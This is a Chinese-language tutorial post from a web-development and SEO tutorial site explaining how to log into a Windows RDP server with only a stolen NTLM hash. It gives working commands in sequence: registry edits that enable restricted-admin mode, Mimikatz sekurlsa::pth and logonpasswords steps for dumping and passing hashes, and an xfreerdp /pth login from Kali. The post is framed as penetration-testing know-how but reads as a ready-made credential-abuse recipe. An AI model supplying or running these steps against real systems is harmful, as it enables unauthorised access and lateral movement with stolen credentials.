肥仔教程网

SEO 优化与 Web 开发技术学习分享平台

如何不用密码,只用NTLM的HASH散列登陆3389服务器?

渗透时,经常会碰到只得到用户的HASH值,却因为密码太复杂,无法破解。这时又想登陆对方机器的3389,也就是RDP服务器,想用远程桌面连接器上去看一下图形界面。如何解决呢?(这里有几个专业名永词,可以看我文章结尾解释)。



如果你有对方RDP服务器的shell了,可以先做如下查询:


REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber
REG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin"

从上图可以看出两个结果,第一个0x3d,说明对方的RDP端口正好是3389。0x3d是3389的16进制。0x0说明允许散列登陆。如果第二条命令返回为空的话,你需要先执行以下命令:

REG ADD “HKLM\System\CurrentControlSet\Control\Lsa” /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f 

然后,需要我们用到神器Mimikatz了,在管理员的命令提示符下执行:

mimikatz
privilege::debug
sekurlsa::pth /user:administrator /domain:WIN-1R8Q7C30TMC /ntlm:aafb44c7ec9cfe4664c28b6d88b1af76 "/run:mstsc.exe /restrictedadmin"

解释一下上边的参数:WIN-1R8Q7C30TMC是对方RDP的机器名,也可以写成IP,如:192.168.3.202:3389,如果对方3389是默认的也可以不加。如果端口是5210,你可以写成192.168.3.202:5210。ntlm后就是散列值了,你通过一些方得得到的。其它格式固定。

这样一会就弹出mstsc的连接器了,不用密码就可以登陆了。

在kali下也可以用xfreerdp登陆,命令如下:

xfreerdp /pth:aafb44c7ec9cfe4664c28b6d88b1af76 /v:192.168.3.202:3389 /u:administrator /tls-seclevel:0 /timeout:80000

一会就登陆了

以下是几个名词解释:

  • NTLM的HASH是什么意思:NTLM 的 Hash(散列)是 Windows 系统中一种用于用户身份验证的加密表示,简单说,它是用户密码的“加密形式”,用于避免在认证过程中明文传输密码。至于如何得到这个散列,用Mimikatz的工具执行privilege::debug sekurlsa::logonpasswords就可以了。本头条有这方面相关的文章。
  • RDP 服务器:全称 Remote Desktop Protocol Server(远程桌面协议服务器),指的是一台启用并运行了远程桌面服务的计算机。这台服务器允许授权用户通过网络使用 RDP 客户端软件从远程位置连接到它,并在本地计算机上看到和操作服务器的桌面环境,就像直接坐在服务器前一样。
控制面板
您好,欢迎到访网站!
  查看权限
网站分类
最新留言